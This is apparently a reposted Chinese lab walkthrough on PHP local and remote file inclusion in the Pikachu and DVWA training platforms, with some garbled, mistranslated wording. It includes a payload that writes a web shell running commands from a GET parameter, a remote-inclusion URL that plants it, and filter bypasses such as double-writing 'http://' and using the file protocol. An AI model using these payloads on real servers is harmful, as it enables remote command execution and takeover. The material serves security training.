但有些时候,由于网站功能需求,会让前端用户选择须要包含的文件(或者在前真个功能中利用了“包含”功能),又由于开拓职员没有对要包含的这个文件进行安全考虑,就导致攻击者可以通过修正文件的位置来让后台实行任意文件(代码)。
分为: 本地文件包含 和 远程文件包含

我们在 pikachu 平台上先对本地文件包含进行测试,
可以看到是 传了一个文件名到后台,后台会指定的目标文件进行对应的操作(这些文件都是后台自己存在的文件)。
我们不雅观察源码:没有进行限定,也没有设置白名单。
远程文件包含:
远程文件包含漏洞形式跟本地文件包含漏洞差不多,在远程包含漏洞中,攻击者可以通过访问外部地址来加载远程的代码。
远程包含漏洞条件:如果利用 includer 和 require ,则须要 php.ini 配置如下:
allow_url_fopen = on
allow_url_include = on 如图所示
在 Pikachu 上,远程文件包含这里,同样是通过通报一个文件名进行包含的
我们把它改成一个攻击者做事器上的恶意代码。再/WWW/pikachu/下新建一个yijuhua.txt文件,内容为:
<?php$myfile = fopen("yijuhua.php", "w");$txt = '<?php system($_GET[x]);?>';fwrite($myfile, $txt);fclose($myfile);?>
然后把 filename 后面的参数改发展途文件的地址,http://192.168.35.132/pikachu/vul/fileinclude/fi_remote.php?filename=http://192.168.35.132/pikachu/yijuhua.txt&submit=提交
提交之后我们的远程做事器上会多出一个文件,
这时候我们就可以利用我们上传的 php 文件进行干系的操作:http://192.168.35.132/pikachu/vul/fileinclude/yijuhua.php?x=ipconfig
比如用菜刀进行连接,由于这是get型,可以直接再url中输入命令对其进行掌握。
这里的文件包含漏洞里DVWA也有,防护的情形也多一点点。
比如:
1.增加了str_replace函数,对page参数进行了一定的处理,将”http:// ”、”https://”、 ” ../”、”..\”更换为空字符,即删除。
但是还是不屈安的,由于可以利用双写绕过更换规则。例如page=htthttp://p://时,str_replace函数会将http://删除,于是page=http://,成功实行远程命令。
2.利用了fnmatch函数检讨page参数,哀求page参数的开头必须是file,做事器才会去包含相应的文件。
看似安全,我们依然可以利用file协议绕过防护策略
3.末了利用了白名单机制进行防护,page参数必须为“include.php”、“file1.php”、“file2.php”、“file3.php”之一,彻底杜绝了文件包含漏洞。
原文转自:https://www.cnblogs.com/qi-yuan/p/12545827.html